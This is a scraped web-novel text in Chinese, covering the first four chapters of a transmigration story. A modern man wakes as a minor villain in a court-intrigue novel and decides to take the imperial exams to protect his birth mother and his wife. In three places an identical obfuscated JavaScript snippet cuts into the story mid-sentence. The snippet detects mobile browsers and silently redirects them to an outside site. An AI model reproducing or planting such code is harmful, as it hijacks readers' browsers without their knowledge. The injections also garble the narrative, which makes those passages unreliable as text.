《炮灰如何配享太庙(科举)》 1. 第一章 穿越炮灰 “缙儿……缙儿……”一道呼唤声传入耳边,似是带着泪,冰冷汗湿的手在他滚烫的脸上摩挲,伴着阵阵啜泣,本应因车祸死亡的段之缙缓缓睁开眼,心脏忽然骤缩成一团。 眼前的脸,就算是相隔三十余年,段之缙也永远不会忘记,这是妈妈的脸!现在是真实还是梦境,段之缙已经分不清了,他喃喃唤道:“妈……”却被那妇人一把捂住嘴。 “你忘了?只能叫姨娘!”她擦擦脸上的泪水,悲伤一掩不见,转头向身后穿着一身有些旧了的苍葭色长裙,素白着一张鹅蛋小脸的女孩儿说话,“二爷现在醒了,劳蘋儿去告诉老爷和太太吧。” 蘋儿低眉顺目,素帕子在脸上擦了一下,转身出去。 等着屋子里再无旁人了,那脸色憔悴的女人紧紧攥住了段之缙的手,尖锐的指甲几乎要陷到皮肉里。 “我是你的姨娘,你永远都只能叫我姨娘,太太才是你的妈,你的母亲。” 段之缙现在头痛欲裂,还没有弄明白是怎么回事儿,为何自己的妈妈一身古人打扮,为何自己不能再唤她妈妈,便见一位眉目凌厉的妇女被一群仆妇簇拥着走进了内室,而那长相酷似自己母亲的女人,一闪身退到了妇人身后,隐匿在了拥挤的人群中。 太太细长的手抚上段之缙的额,眉头紧跟着一皱,“我看缙儿也无甚要紧的,不必再歇了,喝着药一边温书一边将养,考试要紧。” “倒是你……”贵妇人王虞转过身来,冷森森的目光投向鹅蛋脸女孩,淡淡开口,“你做妻子的,不能规劝丈夫,叫他出去饮酒,结果撞到了脑袋耽误了上进……实在该罚!今儿晚上不许吃饭,去祠堂里跪着!” “是……” “太太!”段之缙听到这才明白了过来,自己不知道占了哪朝哪代哪个人的身子,这个带着些愁苦的女子正是原身的妻子,占了人家的身子,不能叫他的家人再受委屈,因而段之缙急急出声,打断了那女子的话。 “太太叫她去跪了祠堂,谁来照顾我呢?” 他刚才所见,婆媳二人的关系应当十分不好,便是封建社会,也没有说儿子出去胡作非为了,叫儿媳去跪祠堂的,因此并不为她求情,只说自己还需她照顾。 谁知他这一番话,倒叫周围的人面面相觑。这二爷,平时都是太太说什么便是什么,二奶奶受训,甚至是他的生母施姨娘受训都是一言不发,任凭夫人处置,怎么今儿转了性子,插上太太的话儿了? 王虞也是吃了一惊,脸上便带了点儿戏谑,挑着上斜的眉看他,更显得刻薄,“你今儿?算了……她今儿晚上不许吃饭,留在房里伺候你吧。” 那女子麻木地俯身,“多谢太太。” 微微颔首,转身离去,可王虞走到屋门口将要跨过门槛时,脚下突然停了下来,“别的事儿我不管,缙儿,你得记好了,你一个不得宠姨娘的庶子,能有今日,是借着谁的势。” 一行人浩浩荡荡地离去,段之缙刚要出声唤他的姨娘,姨娘便泪眼蒙蒙地回首望他,眼里说不尽的心酸与爱怜,警告一般轻轻摇头,引得发间素银簪上的那只蝴蝶摇晃两下,然后头也不回的走了。 庶子……。 段之缙还没搞不明白这一切,他挥手叫周围的奴仆退下,又揉了揉额角,跟一旁呆立着的女子招了招手,“夫人,你来。” “你也知道,我出去喝酒撞着头了,现在好多事儿也记不太清,劳烦夫人与我说说。” “二爷问吧。” “刚才太太叫我jin儿,我名中该有个jin字吗?” 女子柔和的面庞带上了狐疑,“二爷名讳是段之缙,这也不记得了吗?” 段之缙的脑子倏忽间嗡了一声,一种不祥的预感涌上心头。他故作恍然大悟,笑着回道:“你一说我便记起来了,夫人名唤沈白蘋,是否?” “二爷记起来了?”沈白蘋点点头,却似一记重锤,将段之缙的心肠一块儿捶了个稀烂。 原来不是穿越到哪朝哪代,是穿书了。 这本书是龙傲天权谋文,《一代天骄》,也就是因为自己和原身重名,所以才有兴趣看了看,谁知把两部书都看完了。 原主是里边的一个小炮灰,一个从五品吏部员外郎的二子,也是凭自己的才能考中的进士,谁知一门心思钻到了功名利禄里边去,倒霉到每次都违逆了男主的意思。 四皇子,也就是男主韬光养晦的时候,他主动找上门去挑唆人家夺嫡;四皇子和诸兄弟斗得你死我活的时候,他站到了二皇子那边;四皇子奉皇命惩治贪官的时候,他又正好在地方为二皇子搜刮民脂民膏,幸得二皇子保他,要不然当时就得死。结果还是没能逃过去,四皇子的铁兄弟,十一皇子从马背上跌落,原主竟然胆大包天上去说闲话,被赶来的男主冲冠一怒为小弟,直接挥刀把头剁了下来。 皇子在众目睽睽之下杀死朝廷官员,这是重罪。可那又怎样,他是皇帝的儿子,皇后养子贵妃亲生,更何况四皇子还拿出了一叠叠他的罪证,把二皇子都拉下了马。 只可怜这个沈白蘋,等着丈夫死讯传来的时候,一根白绫吊死在了房梁上。 可这些都是遥远的,事关姨娘生死的事情却就在当下,原书明明白白地写着,段之缙的生母恰在他要考县试之前意外溺水身亡,导致他守孝三年,及冠之后才去参加的县试。 想到此处段之缙急忙问沈白蘋:“夫人,我原定是什么时候下场去考县试?” “二爷忘了?明年二月就是安平县的县试。” 明年就在眼前了,但凭自己还记得的一些书中的事情,这一辈子离开段家老老实实地从商,想必能保全了母亲和妻子的性命。而段之缙对脱离段家的事情,还是很有把握的。 他回过神看看妻子,笑着说:“白蘋……白蘋……渌水明秋月,南湖采白蘋(1),夫人名字甚美。” 沈白蘋听他似夸赞的一句话,面上却含了些冷意。 不,不是什么渌水明秋月,南湖采白蘋。 “过尽千帆皆不是,斜晖脉脉水悠悠,肠断白蘋洲”(2)才是她的名字。 可这一切都不必和段之缙说,沈白蘋沉默地上前伺候丈夫穿衣穿袜,又被段之缙躲开,他面上还有些不适应,“还是叫我自己来吧,你精神也不好,陪着我说说话得了。” “我虽记起了一些事情,可有些事儿实在没印象了。咱们家几口人?” “二爷真是忘得厉害,小叔们共有两个,还有两位小姑,均是十岁左右的年纪。” 段之缙点点头,也算是放下点儿心来,“咱们家只我读书吗?” “咱们家里,陈姨娘所生的三爷同二爷一样,都在上学呢,准备着明年同二爷一起去县试。” 段之缙深深吐了一口气,“我磕了这一遭,东西也忘得狠了,恐不能得中,以后也不愿去做劳什子官。我们夫妻两个做点儿小买卖,带着姨娘出去单过,好不好?” 这是多好的日子,说得沈白蘋也跟着生了些向往,可她又想想眼前之人往日里的作为,想想主院里的嫡母,心又狠狠沉下去。 竟然信了他的鬼话,两年了,还没看清吗? “一切都是您说了算。只是得跟太太说明,若是太太不许……” “太太不会不许的……”段之缙安慰她,原书中说了,大哥是嫡母所生,自己是个庶子,虽然按照孝道,父母在不分家,可自己愿意少分一些财产,让给大哥。没有母亲不心疼儿子的,为了他,嫡母也应该同意,届时自己只需要说服父亲。 再说了,从商到底是下贱的营生,他们或许巴不得跟自己划清界限。 “到时候只我们三个人过日子。”段之缙笑眯眯地看着沈白蘋,这个女孩瞧起来不过十八九,自己前世都是四十多岁的人了,看着她仿佛看着自己的小妹妹,若是日后她能觅得良人,自己也陪送她一笔嫁妆,叫她去过自己的日子。而且自己也不是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905994|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子了,必不会同幼时那样的无力,只能看着妈妈被那个畜生磕在地上,额上鲜血如注,渐渐失去了生机。 名义上的爸爸去坐牢,自己成了孤儿。 段之缙陷入过往的回忆无法自拔,外边传来了咚咚的敲门声,一个清清脆脆的小丫头的声音响起,“二爷,二奶奶,该用饭了。” 沈白蘋应了一声,仆妇们推门,鱼贯而入,不一会儿,大大小小的碗碟摆了一桌,不稍作停留,一屋人又退了出去,只留两个小丫头在旁边伺候。 脑子转了这么长的时间,段之缙也是真饿了,自己走到桌前,先喝了一碗白粥,沈白蘋低眉垂首地站在一旁为他布菜,闹得段之缙极不自在。 “不用管我,你也坐下来吃。”他舀了一勺荷叶丸子送到沈白蘋面前,招呼她坐下吃饭,怎么她这个家里的熟人,比自己这个“生人”更生分呢? 沈白蘋仍是那副死气沉沉的表情,也没有喜,也没有惧,只答道:“太太罚我,我不能不受罚。” 段之缙讶然,她倒真是听话,只是这样瘦弱,再饿一顿到底对身子不好,于是故意做出一副苛刻的样子来哄她,“那这样,瞧你的小身板,也吃不了两碗饭,今夜先罚你吃两碗饭吧。” 两个侍立的小丫头都是跟着沈白蘋嫁到段家来的,听着这话相视一笑,只以为自家小姐苦尽甘来了。 沈白蘋也被逗了一下,坐下端起那碗荷叶丸子,就着吃起了粳米饭。 段之缙上辈子便是个劳碌命,一天天看不完的文件签不完字,因而吃饭总是争分夺秒,没一会儿两碗粥下肚,又用了些素菜。 刚刚醒来,不敢用的太油腻。 沈白蘋却跟小猫儿一样,东西进了嘴中,一丝咀嚼的声儿也没有,进东西也不快,虽然已经很长时间没有吃过一顿安生的饱饭,但瞧见段之缙放下了碗筷,沈白蘋还是立刻停筷,半碗饭都没下去。 “你管我干什么?你吃你自己的。” 沈白蘋仍是那副冷冷清清的样子,“这不合规矩,二爷放下了筷子,没有我们再动筷子的道理。” “那从今往后再没有这样的规矩,新规矩便是每顿至少吃上一碗饭。” 就因为吃饭这个事儿折腾了一会儿,等着饭菜都撤下去的时候,天都已经黑了,月亮斜斜地从东边升起,也洒不出多少的光辉。 和段之缙分开沐浴,沈白蘋闷闷地浸在浴桶中,一言不发,她的两个小丫头春华、秋实却叽叽喳喳个不停,从天南聊到海北,又说起了今天晚上的事儿。 “二爷磕了一下脑袋,倒像是磕清明了,对二奶奶好了不少。” “咱们二奶奶这么好,二爷待二奶奶好都是应当的,待她不好才是不应当!” “那是因为他磕糊涂了,忘了许多事。”沈白蘋淡淡开口,即便今日被善待了,也无甚值得欣喜的。 春华瞧出来她不高兴,安慰道:“那也是二奶奶的福气,虽说二爷忘了许多事儿,但待您好不就成了?” “只怕是江山易改,本性难移。”沈白蘋已经不敢信任何人了,这世间的女子就是这般的可怜,在家从父,出嫁从夫,夫死从子,中间若有一个靠不住,便苦不堪言。 她的外祖母孟氏孝淑夫人是先皇的乳母,受到种种恩待,可先皇一去世,外祖杨家便大不如前了,一年前外祖母去世,葛礼即刻参劾了她的舅舅杨孝和贪污,不出一月杨家便被抄家,母亲也抑郁而死。 段家…… 段家本来便是想要沾外祖母的光才来求娶,谁料想孝淑夫人去世那么快,杨家也顷刻间覆灭,而自己的父亲连丧期都没过便续弦了。 沈白蘋知道她是多余的人,嫡母这辈子全靠着段之缙,一门心思地要磋磨死自己,好再为段之缙聘妻。 而她的丈夫,是个活畜牲,为了讨好嫡母,连亲娘都不闻不问。 沈白蘋已经不敢奢望其他,就盼望着真能像浮萍一般,苟且偷生便好。 2. 第二章 决心出走 段之缙此时也沉在浴桶里,他贴身伺候的小书童松烟正给他擦背。四周一片寂静,只剩下哗啦啦的水声入耳,段之缙疯狂回想着书里的一切。 可惜,原身只是个小配角,作者多一点儿笔墨都不愿意,段之缙现在能想起来的,就是原身做的那些糟烂事儿,和在原身死后,原身的父亲因为教子不严也被革职抄家了。 只是奇怪得很,从今天来看,原身和他的妻子关系应当也不怎么好,为何沈白蘋愿意殉死呢? 算了,多想无益,左右明日自己就去拜见太太,跟她说明一切,从此自己和段家再不相干,和那些争争斗斗也都再不相干。 “二爷,二爷……”松烟轻轻地唤他,段之缙从沉思中醒来,被裹上厚重的皮毛吸干身上的水分,泼墨缎子一般的长发叫两个小厮抱在怀里擦拭。 面对着的镜子,段之缙也才真正清楚了自己的模样。 干了那么些的畜生事儿来,姨娘倒给他生得一副好皮囊。 剑眉斜飞入鬓,一双丹凤眼,该是很不易亲近的相貌,偏偏眼睛亮的惊人,水盈盈一片,叫人心生亲近。更妙在唇角天生上扬,不笑也带着三分笑,唇色淡粉,带些女气。 这个唇……这个唇和姨娘很像。 终于收拾利索,一根木簪把头发盘起,段之缙拱着布鞋进了内室,沈白蘋已经坐在了床上,一身藕荷色寝衣,双手交叠放在大腿上,即使周围只剩下春华、秋实,她仍是垂首低眉。 只是恭顺也盖不住她的美貌,再一抬首望过来,段之缙就算知道了什么叫“眉如远山横黛色,眼似秋波流盼时”。 “二爷。”沈白蘋轻唤,上前脱下了他外边的褂子,两人一起躺在床上。 如今还是盛夏呢,夫妻二人各盖着一床纱被,可段之缙还是能闻见轻飘飘的香气伴着清浅的呼吸从身旁传来, 说实话,这是他头一遭和一个女孩儿什么都不干,就只躺在床上睡觉,因而翻来覆去,好长时间都无法入眠,月亮下了,天边见亮的时候,段之缙才迷迷糊糊睡了片刻,又醒了一个大早,去给太太请安。 “二爷真不打算科考了吗?”沈白蘋纤纤素手给段之缙把头发束好,又用一根玉簪子固定住。 “是,我伤了脑袋之后读的书都忘得差不多了,与其去科考,不如行商,若是成了,虽说不如官宦人家显赫,可也衣食无忧。即便一开始困难些,我也绝不叫你和姨娘吃苦。” 沈白蘋看着他跟以往绝不相同的坚定眼神,再次升起了一点儿希望。若是这次真的能成,只要离开了段家,不叫自己再去受嫡母的磋磨都是好的,哪怕叫自己去吃苦,浆洗衣服、缝缝补补都行…… “二爷,我等着你回来。”她头一回盼望要离开的丈夫回来,头一回倚在门上望着,望着段之缙的身影走向主院,一点点看不见。 段宅也不是很大,穿过两条回廊便到了主院,段之缙理了理衣服,在院门口跟守门的仆妇吩咐道:“你去禀报一声,缙儿来给太太请安。” 仆妇进去禀报,不一会儿嫡母王虞身边的许嬷嬷便出来引他进去,“太太的心情不好,二爷进去了小心说话。” “多谢嬷嬷。”段之缙随口答谢。 心情不好没事儿,等着知道了我不与她儿子争的消息,心情大概便好了。 进到正堂,王虞正在喝茶,而他的生母施姨娘正在端茶递水,小心侍候主母。不施粉黛,不佩钗环,连昨日那支做工不甚精巧的素银簪也没戴,可那双泪目,仍然盈盈地望过来,随着嫡母的一声咳嗽受惊般地收回去。 段之缙跪下恭恭敬敬地磕头,嘴上道:“给太太问安,太太近日身子如何?”然后他顿了一下,微微移了身子,又朝着施姨娘磕了一个头,“给姨娘请安。” 所有人都愣住了,然后疯狂地挤眉弄眼。笑话,这宅子里谁不知道,二爷是个要前途不顾亲娘的,施姨娘在太太身边跟奴婢一般,二爷问安的时候从不带着他的亲娘。 也是,有奶的才是娘,太太是嫡妻,能给二爷的太多了,他是不会为了一个通房丫头抬上来的姨娘去戳嫡母的眼眶子的。可今日是撞了什么邪?如何给他的亲娘都请安了? 王虞从喉咙间挤出一声冷哼,慢慢开了口,“如何叫你这样的大孝子来母亲这儿请安了?还是有什么请求,说吧。” “儿子有一事要禀报太太。儿子不孝,饮酒磕伤了头,如今身子还不是很爽利,明年二月的县试恐不能得中,且儿子实在无心仕途,想要行商。只是咱们是官宦人家,行商到底是辱没了门楣,加之祖父母已经过世,儿子想要带着蘋儿跟姨娘出去单过,至于应得的分家财产,儿子只要一半,剩余的给兄弟们分。”段之缙一板一眼地说着,谁知四周连呼吸声的都放缓了,王虞也是一言不发。 心中有一丝不祥的预感,段之缙抬首去看,自己的亲娘施姨娘已经跪在地上瑟瑟发抖,周围的仆妇也都凝神屏气,不敢发出一丝声响。 事情已经出乎了段之缙的预料,可箭已经射了出去,没有回头路。 “太太意下如何?”段之缙又问道。 王虞静默了一会儿竟然轻笑出声,茶碗放在紫檀木桌子上发出一声清脆的响,她回道:“你长大了,有自己的想法,我这个做母亲的也不能干涉。这个段家其实也没什么钱,你父亲从五品的官能值个什么?但母亲好歹把你当亲生的儿子养了整整八年,不能看你拿着那点钱出去受苦……可怜天下父母心呀,我想你读书科举,你却不往正道上走。这样吧,我剩下的嫁妆你带走一半,带着你的媳妇好好过日子。至于施姨娘嘛……”王虞说到这里骤然停住了,她两指捏着茶碗盖掀开,施姨娘即刻便从地上爬起来添茶。 “你怕真是磕得糊涂了,施姨娘是我从你外祖家带来的家生子,卖身契还在你外祖家呢,你怎带的走她?再说了,她自我待字闺中便伺候我,至今也得有近三十年了,我怎么离得开?”王虞戏谑地看向段之缙,果然见他捏紧了拳头。 小娃娃,想跟你母亲耍心眼,我什么阵仗没见过? 虽然不知为什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905995|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞到了脑袋偏偏把他的良心磕了出来,但此时施姨娘握在手里,的确叫王虞放心许多。 现在只差一把火了。 王虞突然发怒,将新倒上来的茶水全泼到了施姨娘身上,冷笑一声,“怎么?给老爷生了儿子,便真以为自己是主人家了?以为自己能离了主子单独过活?哼,你想清楚了,不光你的卖身契,你全家的卖身契都捏在我娘家!今儿倒的茶这样烫,明儿岂不是要掐死我!”她怒完,朝着许嬷嬷使一个眼神,许嬷嬷便一个巴掌掴在了施姨娘面上,将她打得头发都散落下来,身子倾倒,又赶紧跪端正。 “太太!”段之缙扑过去挡在施姨娘身前,差一点便要还手,可长时间理智压过感性的日子强逼着他勾起来一个笑,“太太,儿子一时想差了。万般皆下品,唯有读书高,明年的县试,儿子一定能得中!” 王虞的脸上瞬间变得平和,她勾出来一个刻薄的笑,又叹了一声,“你能想通就好,做父母哪有不盼着孩子往正道上走的。但愿你明年过县试。” “儿子还有一事相求。” “你说便好了。” “求太□□准,让姨娘回儿子的致知斋照顾儿子。” 王虞看了看许嬷嬷再次添上的茶,碧螺春翠绿微黄,清澈鲜艳的茶汤倒映出她带着细纹的面容。 怎么如此老了?王虞突然感到一阵泄气,抿了一口茶水,赤红色的口脂将倒影推开,她轻声道:“你院试通过的时候,母亲便叫施姨娘搬去你院子旁边的翠微院住。若能中举,母亲便叫你外祖送施家来京。”可没一会儿她又提起了神,面带讥讽,“大孝子,你给为娘的问了个好安,退下吧。” 段之缙还想再求,姨娘是溺水而亡,自己每日看着她必不会叫她出事,可王虞微阖上了双目,茶碗里的氤氲水汽叫她的神色怎么也看不清,“你要是再多少一句话,你的姨娘不知道要遭什么罪。” 段之缙受制于人,深深看了一眼身后的施姨娘,咬紧了牙关才忍住了心中的怒火退下。 王虞睁开了眼睛看着这个熟悉但又有些陌生的儿子,眼珠缓缓下移,看了一眼脚边瑟缩的施姨娘,突然叫起了十几年的称呼,“小施,去看看你的儿子吧。” 施姨娘眼里含泪,却扬起一个笑脸儿,“太太说什么呢?缙儿该是太太的儿子。” “我没在试探谁,你去吧,好好看看他,你该是熬出头了。”可她呢,她的苦日子,似乎还长着呢…… 施姨娘又惊又喜,自从缙儿送到了主院,又分去了致知斋,她已经数不清多少年没细细看过儿子,感激涕零地向主母磕了一个头,也顾不得体面,披头散发地奔了出去。 “缙儿!”施姨娘声嘶力竭地喊,段之缙顿住,惊讶地回过身来。 施姨娘见儿子停住,仔细理了理头发,缓步走上前去,日子总是这样的苦,叫她眼里含着一层水,可在儿子眼里,她总是盼望自己能体面些。 “缙儿……” 她一唤,段之缙便控制不住地上前,眼睛也有些酸涩。 3. 第三章 段父其人 “缙儿……叫姨娘好生看看你……”施姨娘的手在虚空比划,似要去抚摸他的脸却又徒劳地放下。 “姨娘上次好好看你的时候,缙儿似乎才十岁呢。”她脸上绽出来一个笑,泪却簌簌滴落,一缕碎发沾到面上又被手捋到耳边。“你要是真想要行商,就不要管姨娘了,带着你的媳妇和太太承诺给你的银子走。姨娘本来就是太太身边的奴婢,你叫我离了太太,恐怕我自己都舍不得……” “姨娘……娘……”段之缙是孤儿,一个人闯荡成一方巨富,什么苦没吃过什么罪没遭过?他从不说一声苦,不叫一声累。可望着这个面带疲惫,明明只是和妈妈长得相像的姨娘,却给了他几十年前母亲的感觉,也或许,他就是妈妈的前生。 “娘,你且等着儿子,我一定叫你离了主院!”这句承诺,段之缙是恶狠狠地从牙缝里挤出来的,施姨娘却笑着摇了摇头。 “你不要怨恨太太,她是你的嫡母,一个孝字压死人。她也是可怜的人,待字闺中的时候,段家不过是普通乡绅人家,王家行商,早就富甲淮宁省了。老爷中了秀才入我王家求娶,王老爷爱重太太,把她嫁了过去,以为能在高中之后也叫女儿得封诰命……” “谁知,你父亲真面目露得这样快,太太还怀着孕他便想同房……夫人才生下了你大哥,老爷便纳了陈姨娘,我又紧跟着有了身孕,生下了你。那个时候,你嫡兄纹儿,才刚满了周岁。” 段之缙冷嗤一声,“这样,她便能耍她的主母威风,虐待你,欺辱蘋儿了吗?” 施姨娘的眉头紧紧蹙了起来,“不要这样说,姨娘永远记得太太的恩德。那年得时疫,各家各户都在丧子丧女,满城的大夫都不够用。你和纹哥儿一块儿患上了时疫,当时你气都喘不动了,纹哥儿倒还好,她先叫大夫来咱们这儿看病,谁知道纹哥儿的病坏得那么快,还没等着大夫给你看完,纹哥儿就没了……” 嫡兄已经逝世了?! 段之缙心脏砰的一声。 怨不得……嫡母不为所动,就算是自己少要了家产,也不过是便宜了其他庶弟,她还是捞不到一点儿好处。 施姨娘说着,眼泪便落了下来,又想再说些什么,许嬷嬷便在身后遥遥地唤她。 不能再拖了,施姨娘深深地看着段之缙,恨不得把他刻在心里,最后哽咽着说了一句,“好孩子,回去吧,不要再管姨娘了,姨娘是有业障的人,应该留在太太身边赎罪。”语毕,她似要转身离去,段之缙却拉住了她,神色一派凝重,“姨娘,你千万要记住,不要往水边走,水边多湿滑,小心身子。” “别担心,姨娘从小在水乡里长大,如何能不会水呢?” 施姨娘宽慰了他一句,然后转身离去,深深的大院锁住了她的前半生。 段之缙却愣在了当场。 会水? 但是溺亡了? 段之缙明知道很多溺亡的人都是会水的,可这一切都太巧合。 偏偏是在县试之前溺亡,偏偏溺死的人会游水…… 沉思着走在回去的路上,同样的路程,明明来时两条回廊那样的短,怎么回时却走不到头了呢? 段之缙刚刚入了致知斋的院门,沈白蘋便克制不住地上前询问。 “二爷,太太答应了吗?” 段之缙回过神,瞧那双期待的眼睛,他要如何回话? “母亲答应了……” 话尚未说完,沈白蘋的眼睛里似要刺出光来,可之后的话,又叫她不知心里是何滋味了。 “但我还是要去科考。姨娘她的卖身契尚在外祖家,我不能这么舍了她独自出去。你……你若是不想呆在段家,我写与你和离书,钱财我也定不委屈了你。” 和离……和离了她又能去哪里呢?沈家早已不是她的家,自己在段家受的这些磋磨,沈家也只当不知。 外祖家……舅舅一定能够善待自己,可被抄家后生活困苦,已经过江回到淮宁,自己去也不过是添一个累赘罢了。 沈白蘋眼里的光黯淡下去,摇了摇头,“和离我又能去哪里呢?哪也不是我的家……”她等了一上午,本以为自己能等得一个出路,结果却又是空欢喜一场。 怎么就成了这样呢? 段之缙看着沈白蘋跟魂一样飘悠悠地荡走,终于体会到了什么是肩负重任。 在现代没发迹的时候,段之缙是一个人吃饱全家不饿。后来发迹了也是形单影只,那些激情的时刻也不过是露水情缘,哪天就算是猝死了,也不过是自己的烂命一条。如今,段之缙一个人牵连着两个女人的活路,若是自己不能咬住牙走完这一程科举路,她们二人,恐一辈子都没有好日子过。 “沈白蘋!”他叫住了她,望着那个纤细的身影,十八九的女孩,在他的那个世界,正是读书学习的好年纪,每天要忧愁的不过是今天三顿饭要吃什么,和考试能不能过,怎么这个女孩便活的这么苦,这么累? “夫人,那便留在段家吧,我必不会再叫你受委屈。”段之缙郑重其事的说,也不能推定沈白蘋一定相信他,但这一日他的确背负起了两个女人的命运,这一路也只能进不能退。 沈白蘋心头酸涩,她回头看着自己早就不敢相信的丈夫,他的眉眼处俱是坚毅,瓮声瓮气地嗯了一声。事情如何,也由不得她选择,只是他今日能为了施姨娘放弃自己的打算,便暂且也信他一回。 “二爷,你一定要好好地……好好地护着我。” 段之缙笑了笑,坚定地点头。 只是现在并没有什么时间去叫他多愁善感,距离明年二月份县试不过七个月,如何能在七个月间脱胎换骨,从一个现代人成为熟读四书五经之人呢? 并且吃一堑长一智,段之缙将书中的内容直接套到了现在的世界里,的确嫡母有一个自己的亲生子,可书中压根没说这个嫡子已经身亡,他的死甚至与原身逃脱不了关系。也难怪,原身不过是一个小炮灰,他的作用就是给了男主搬倒二皇子的由头,作者何必去写的那么详细? 当前,最要紧的事情是先把施姨娘弄到眼前看着,自己科举的事情未必不能是和太太谈判的筹码,可首先要把家里的事情弄明白,为什么太太对原身科举的事情执念如此之大。 段之缙拉着沈白蘋坐下,笑道:“夫人也知我忘了许多事,今儿见了太太差点闯下大祸,还劳夫人把咱们府里的事儿都与我说清,尤其是为何太太一定要我去科举。” 沈白蘋摇摇头,“二爷,我入段家门也不过二年,只知道太太是想叫二爷做一番事业出来,好叫她得封诰命。” “诰命?” 为何这般的执着于诰命? 段之缙再次询问,沈白蘋却也说不出什么了? “我不知道,二爷何不去问问刘妈妈?他是二爷的乳母,二爷一出生便在身边伺候,料想妈妈知道的应当多些,正巧她去看刚生产完的女儿,今儿便能回府。” 夫妻两个正说着话,外边松烟就隔着门报,“二爷,老爷回来了,遣肖大爷叫您去书房问话。” 段之缙听着一脑门的问号,沈白蘋知他又不知道这是谁了,连忙解释,“肖伯是咱们家的老人了,在老爷身边伺候,你待他要客气些。去了书房,老爷叫你如何你便只管答应,三叔得些什么,又当如何的,咱们不去管,你考试才最重要。”她说着话,又给段之缙理了理衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14905996|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻推着他出门。 段之缙自然听懂了她的弦外之音,看来这个父亲很是偏向原身的三弟。 现在想不得那么多了,这个孝字压死人的世界里,父亲等着儿子可不像现世那般稀松平常,段之缙出门跟肖伯打了个招呼,两人便脚步匆匆地去了书房。 “儿子见过父亲。”段之缙跟这个陌生的中年男子问好,不动声色地打量了一番。在旁边坐着的一个轻轻瘦瘦,眼下两团青黑色的男孩也站起来同他问安,“见过二哥。” 不知这男孩儿是哪个弟弟,段之缙赌了一把,颔首回道:“三弟。”幸好赌对了。 再去看看这个原主的父亲,段父段成平今年已经四十三岁了,身量高挑也不甚衰老,见了昨日转醒的的儿子并不见有什么欢喜的模样。 “缙儿,你的母亲来与我说,你的伤处好得差不多了?” “儿子的伤势已无大碍。” 段成平捋了捋山羊胡,点点头,又说道:“你既然好了,那么功课也得拾起来。你母亲从淮宁安平县请的夫子,明日便重新回来授课,为父想着,虽说这夫子是你外祖家请来送入京的,可到底也是给咱们家请的。你三弟明年与你一同县试,不若便由这个夫子一同授书吧。” 段之缙无可无不可,但他知道夫子是由外祖王家请的,按照施姨娘的说法,嫡母与段父的关系应当相当恶劣,也不一定喜欢这个三弟,因而不敢许诺。 他脸上带着一个得体的笑,垂首道:“老爷说的极是,三弟、四弟都是自家的兄弟,叫夫子一同授课都是应当的。老爷太太既然已经决定好了,明日请夫子一同授课便是。” 段成平不自在地咳了一声,“你母亲不知道这个事情,为父还尚未与之商量。这也都是小事,也不必再去扰了她的清净。先这么上着吧。” 段之缙故作惊讶,“太太对待我们这些儿子一向慈爱,何种小事在太太眼中不是大事?老爷若是公务繁忙,儿子自去告知太太。” 段成平看看眼前这个木木呆呆不知变通的儿子,火不打一处来,嗔道:“这般聒噪!你连为父的话都不听吗?” 段之缙做手足无措状跪下,“老爷这是何意?夫子授课这般的大事,难道能不叫太太知道吗?还是其中有何隐情,不是儿子能揣测的?再说,这不过是一句话的事情,儿子明日给太太问安时告知即可,不劳老爷。” “罢了!都回去吧!”段成平也是叫老二闹得为难,他是真不愿意见王虞那张冷面,他这辈子的脸面全都丢在了王虞身上,因而也顾不得昨夜陈姨娘如何请求,叫两个儿子一起退下。 老三段之纬还想开口说些什么,被父亲瞪一眼也只能黑着脸退下。 兄弟两个一前一后出了书房,段之纬哼笑一声,“二哥,没想到您有这般的辩才。” 段之缙笑眯眯地回首,歪着脑袋无辜地看向原主的三弟,疑惑地问道:“三弟这是何意?还是三弟知道什么隐情,授书这件事真的不能叫太太知晓?” 段之纬脸儿一沉,手指指向段之缙,牙都咬紧了。 段之缙微笑着握住他的手指,“你也是读书人,难道不知道要尊重兄长吗?拿手指你的二哥,这便是你读的书吗?” 打蛇打到七寸,段之纬咬牙切齿了一顿,什么话也没说,抽出自己的手指便匆匆离去,留段之缙一人在身后慢慢思索。 看来,嫡母虽然与父亲关系不睦,可在这家中绝对有几分地位,甚至父亲和几个庶子在一些事儿上还得瞧着她的脸色。 一个被丈夫厌恶的女人,在这样吃人的封建社会守着一大笔嫁妆,她是怎么做到不被剥皮抽筋,连着血沫子一块儿舔干净的…… 4. 第四章 段家往事 段之缙一回房,沈白蘋便上来问询,他安慰地眨眨眼,“明日夫子来授课,老爷想要三弟同我一起。话说起来,我连两个弟弟的名字都忘了,又要烦你告诉我。” 